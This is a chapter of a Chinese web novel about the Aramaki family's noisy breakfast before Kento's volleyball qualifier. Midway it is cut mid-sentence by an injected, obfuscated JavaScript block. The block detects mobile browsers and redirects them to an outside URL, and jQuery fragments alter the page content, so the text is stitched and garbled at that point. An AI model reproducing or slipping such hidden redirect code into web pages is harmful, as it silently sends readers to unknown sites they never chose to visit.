晨光像个不讲理的债主，硬生生从违建阁楼的破窗帘缝里钻进来，照得榻榻米上金太郎昨晚偷藏的鸡骨头闪着诡异的光。
楼下厨房里，锅铲和铁锅的交响乐已经开场，伴随着美咲姐一如既往的“温柔”咆哮：“健太！饭好了，去把那个懒猪建人喊下来！再让他睡下去，我直接拿菜刀给他剃头！”
健太坐在矮桌前，机械式地往嘴里塞着米饭，眼神比市立三中门口那台坏掉的自动贩卖机还冷漠。
他手里的筷子精准夹起碗里唯一一块还没被金太郎舔过的咸鱼干，动作快得像在练习投球前的热身。
听到美咲的命令，他头也没抬，低声回了句：“嗯。”然后慢吞吞起身，校服袖口露出的绷带在晨光里晃了晃，提醒着所有人他昨晚棒球社的夜训又把自己折腾成了半个木乃伊。
美咲站在厨房，围裙上沾满了鱼鳞和酱油渍，手里的菜刀剁大葱的架势堪比居酒屋常客“独眼龙三郎”砍价时的气势。
她瞥了眼健太慢悠悠的背影，冷哼一声：“动作快点！那臭小子要是再赖床，我直接把他的排球鞋扔金太郎当玩具！”
健太没吭声，拖着脚步上了阁楼。推开那扇歪歪扭扭的木门，果然，建人睡得像被台风扫过的垃圾场——被子裹成一团，枕头掉在榻榻米上，旁边还有本翻开的《周刊少年Jump》，封面上是火影忍者的鸣人被建人睡姿压得皱巴巴。
建人的睡相更是惨不忍睹，T恤掀到胸口，露出昨晚被早川茜特训虐出的青紫淤痕，嘴角还挂着一丝可疑的口水。
“哥，起来。”健太站在门口，声音平得像在报天气预报。
建人哼唧了一声，翻了个身，胳膊甩到榻榻米上，差点把昨晚偷喝的半罐乌龙茶打翻。他睡眼朦胧地眯开一条缝，嘟囔道：“健太，今天好不容易休息一天……放过我吧，求你了……我昨天被茜姐虐得骨头都散架了……”
健太面无表情地走过去，蹲下身，精准地捏住建人的鼻子。建人憋了两秒，猛地一蹬腿，差点把被子踢到天花板上：“干嘛！谋杀亲哥啊！”
“再不起来，美咲姐就来了。”健太站起身，语气里没有一丝波澜，但那双眼睛分明在说“别逼我动手”。他转身往外走，顺手捡起地上的《Jump》，随口补了句：“你这期还没看完，鸣人刚学会新忍术。”
建人揉着鼻子，挣扎着从榻榻米上爬起来，头发乱得像被金太郎啃过。他抓过一件皱巴巴的T恤，套在身上，嘴里嘟囔着：“美咲姐是战国女将转世，健太你就是冷血投球机器……”
他拖着步子走进狭窄的洗手间，挤了半管牙膏，刷牙的动作像在跟牙刷打架，泡沫飞得满脸都是。洗脸更是敷衍，用冷水随便抹了两把，脸上还挂着没擦干净的牙膏沫。
吊儿郎当地下楼，建人一屁股坐在矮桌前，盯着桌上美咲姐的“晨间特供”——一碗味噌汤里漂着几片蔫了吧唧的紫菜，旁边是半块烤得焦黑的秋刀鱼，鱼眼珠子仿佛在控诉这家人的生存难度。
他叹了口气，筷子戳了戳鱼头：“这鱼的表情比我昨天接发球摔倒时还绝望……”
美咲从厨房探出头，手里拎着把锅铲，眼神像要吃人：“荒巻建人！你那死鱼眼是几个意思？嫌我做的饭不行？信不信我把你塞进烤箱跟秋刀鱼一起烤了！”
“姐，我错了！我这不是还没睡醒嘛！”建人赶紧举手投降，顺手抓起一个饭团，塞进嘴里，含糊不清地说，“你这饭团绝了，里面是不是又藏了你从居酒屋偷省的鱿鱼丝？”
美咲冷哼一声，转身继续剁菜，嘴里却忍不住嘀咕：“臭小子，嘴甜也没用，今晚居酒屋加班，别想偷懒！”她马尾一甩，气势像在挥军刀，厨房里的铁锅被她敲得叮当作响。
健太默默吃着饭，眼神偶尔扫过建人，像是想说什么又懒得开口。就在这时，美咲又扔出一句：“健太，吃完去把铁平叔从车里拖出来！那老酒鬼昨晚又在麻将馆喝到半夜，现在估计还在后座抱着酱油瓶睡觉！”
健太筷子一顿，抬头看了眼美咲，点了点头，起身往外走。建人咬着饭团，幸灾乐祸地喊：“健太，悠着点，别把叔的假牙拽下来，上次他嚷嚷了一星期！”
健太没理他，推开居酒屋的门，走向院子里那辆破得像昭和遗物的面包车。车窗半开，铁平叔果然瘫在后座，鼾声震天，胡子茬上还挂着辣椒油和麻将桌上蹭的烟灰。他怀里抱着个空啤酒罐，嘴里嘀咕着：“夜叉罗……老子当年一拳KO三个……”
“叔，起来吃饭。”健太敲了敲车门，声音冷得像冬天的北海风。
铁平哼唧了一声，翻了个身，啤酒罐掉到车底，差点砸中他的脚。他迷迷糊糊睁开眼，看到健太那张扑克脸，吓得一激灵：“小、小子！你干嘛！想吓死你叔啊！”
“美咲姐让你吃饭。”健太言简意赅，转身就走，留铁平在车里骂骂咧咧地爬起来，嘴里还嚷着：“真是要人命……老子当年在暴走族的时候，谁敢这么喊我！”
几分钟后，铁平顶着一头乱发走进屋，身上还带着车里的汽油味和啤酒味。他一屁股坐在矮桌前，抓起一碗味噌汤，咕咚咕咚灌下去，烫得直吸气：“美咲！你这汤是拿岩浆煮的吧！”
“少废话！汤里加了昨天剩的鱼骨高汤，浪费一口我跟你没完！”美咲从厨房扔来一记眼刀，手里的菜刀还在滴水。
建人嚼着饭团，偷瞄铁平：“叔，你昨晚又输了吧？美咲姐的账本上又多了几页赤字？上次的你都没还完。”
铁平差点被汤呛到，瞪了建人一眼：“臭小子！老子那是战略性撤退！再说了，麻将桌上输点钱算啥，叔当年在夜叉罗的时候，一晚上能赢一辆摩托！”
“得了吧，叔，你那摩托现在还在院子里生锈，连金太郎都不屑啃。”建人翻了个白眼，筷子戳了戳碗里的紫菜碎，“再说，你昨晚输的钱够买半打鲭鱼了，居酒屋的冰箱都快空了。”
美咲闻言，菜刀剁得更响了：“荒巻建人！你再提冰箱的事，今晚就让你睡在鲭鱼箱里！还有你，铁平叔！下次再喝醉睡车里，我直接把车卖了换酱油钱！”
铁平缩了缩脖子，赶紧埋头喝汤，嘴里嘀咕：“这丫头，脾气比我当年还爆……”
健太坐在桌子另一头，默默吃完最后一口饭，筷子放下时几乎没发出声音。他瞥了眼建人，突然开口：“哥，你的排球预选赛是不是快到了？名单出来没？”
建人正咬着饭团，闻言差点噎住，咳了两声才缓过来：“咳咳……健太，你这话题转得比茜姐的发球还刁钻！预选赛下周，名单昨天出来了，我在正选……不过早川茜说我的接发球还得练，不然进不了八强。”
“八强？”铁平抬起头，胡子上的汤汁滴到桌上，“臭小子，你要是能进八强，叔给你讲讲当年我跟山崎组单挑的完整版！那场面，啧啧，比你的排球赛刺激多了！”
“叔，你那故事上周讲了三遍，细节都不带变的。”建人翻了个白眼，顺手把桌上的酱油瓶推远，免得铁平一激动又打翻，“再说，我现在光想着怎么不被茜姐的发球砸死，哪有空听你吹牛。”
美咲端着一盘刚煎好的玉子烧走过来，往桌上一放，瞪了建人一眼：“荒巻建人，你少在这耍嘴皮子！县大赛八强要是拿不到，回来别想吃我的章鱼烧！”
“姐，你这威胁也太狠了……章鱼烧可是我的命根子！”建人夸张地捂住胸口，装出一副痛不欲生的样子，换来美咲一记飞来的抹布，精准命中他脑门。
健太低头喝了口味噌汤，嘴角微微上扬，持续了0.2秒，堪称他本月的表情巅峰。他低声说了句：“哥，你拦网很强，接发球再练练，应该没问题。”
建人愣了一下，抓着抹布的手停在半空，咧嘴笑了：“哟，健太，你这是在夸我？难得啊！等我进八强，给你带一箱可乐庆祝！”
“可乐没营养。”健太面无表情地回了一句，起身收拾碗筷，动
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529094|170792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
作利落得像在练习投球后的收尾。
铁平哈哈大笑，拍着桌子：“这小子，冷得跟冰箱里的鲭鱼似的！不过健太，你那142公里的快球啥时候再让我看看？叔当年可是暴走族里投啤酒瓶最准的！”
“叔，你的啤酒瓶记录早就被金太郎的鸡骨头超越了。”建人吐槽了一句，顺手把饭团塞进嘴里，含糊不清地说，“健太，你下次比赛我去给你当拉拉队，喊口号那种！”
健太端着碗走向厨房，头也没回：“别喊，太吵。”
美咲在厨房里听着，忍不住笑了，锅铲敲了敲铁锅：“下次就是全国大赛的时候了，你哪里来的时间？”
建人举手投降，嘴里还塞着饭团，腮帮子鼓得像只偷食的仓鼠。
早餐桌上，吵吵闹闹的声音盖过了收音机里2011年的老歌《粉雪》。
金太郎从桌底窜出来，叼走建人碗里没吃完的秋刀鱼尾巴，尾巴一甩，差点把酱油瓶再次带翻。美咲的怒吼瞬间炸开：“荒巻建人！管好你的狗！再让它偷吃，今晚你跟它一起睡院子！”
建人赶紧扑过去抓住金太郎，嘴里嚷着：“金太郎，你这是要害我睡鲭鱼箱啊！”狗子一脸无辜，嘴里还叼着鱼尾巴，尾巴摇得像在跳森巴。
铁平看着这乱七八糟的一幕，乐得直拍大腿：“建人，你说你那排球赛要是能像金太郎抢鱼尾巴这么拼，八强还不是手到擒来？”
“叔，你这话说的，我拼起来比金太郎还猛！”建人把狗子按在榻榻米上，顺手抢回鱼尾巴，塞进嘴里嚼了两口，皱着脸吐槽，“呸，这鱼尾巴怎么一股狗口水味……”
美咲端着最后一盘煎蛋走过来，闻言直接炸了：“荒巻建人！你敢吃金太郎舔过的东西？！你是不是想让我把你跟狗粮一起煮了！”
“姐，我这不是节约粮食嘛！”建人嬉皮笑脸地躲开美咲的锅铲，抓起一个玉子烧塞进嘴里，“嗯，姐，这玉子烧绝了，里面是不是又藏了你从居酒屋省下的奶酪？”
美咲被他气得哭笑不得，锅铲在手里转了一圈，像是想砸又舍不得：“臭小子，嘴甜也没用！吃完赶紧滚去学校，别忘了帮我把居酒屋的鱼货单拿回来！”
健太洗完碗，从厨房走出来，校服口袋里塞着昨天的训练笔记。他看了眼建人，淡淡地说：“哥，预选赛加油。”然后背起书包，头也不回地出门，留下一道冷酷的背影。
建人咬着玉子烧，愣了半秒，随即咧嘴笑了：“这小子，夸人跟投快球似的，准得要命！”他转头看向美咲，举起手里的煎蛋：“姐，你说我要真进了八强，能不能换个新锅给你？居酒屋那口铁锅都快被你敲成筛子了！”
美咲冷哼一声，锅铲往桌上一拍：“少做梦！八强奖金先拿来还冰箱的债！还有，荒巻建人，你今天要是敢偷懒，我直接把你的排球鞋拿去喂金太郎！”
“姐，鞋子就算了，金太郎啃完我还怎么打比赛！”建人夸张地抱住自己的球鞋，装出一副生离死别的样子，换来铁平一阵爆笑和美咲一记飞来的抹布。
早餐在吵闹中结束，晨光从违建天窗漏进来，照亮了墙上的裂缝和美咲的还款日标记。建人收拾好碗筷，拎起书包，嘴里哼着《粉雪》的调子，心想这家人的生活虽然像一部地狱难度的真人秀，但吵吵闹闹的，也挺带劲。
“金太郎！别舔我的鞋！”建人推开门，迎面就是狗子热情的舔鞋攻击。他一边躲一边笑，抬头看了看天空，阳光刺眼得像早川茜的发球。
“八强，拦网，接发球……”建人自言自语，拍了拍书包，“荒巻建人，拼一把吧，起码别让健太那小子专美于前！”
身后，美咲的喊声又炸开：“荒巻建人！别磨蹭！再不走我拿菜刀送你去学校！”
建人头也不回地挥了挥手，笑着跑向市立三中的方向，身后是金太郎的汪汪声和居酒屋招牌灯的吱吱声。这破破烂烂的下町，吵吵闹闹的荒巻家，就是他2011年的全部战场。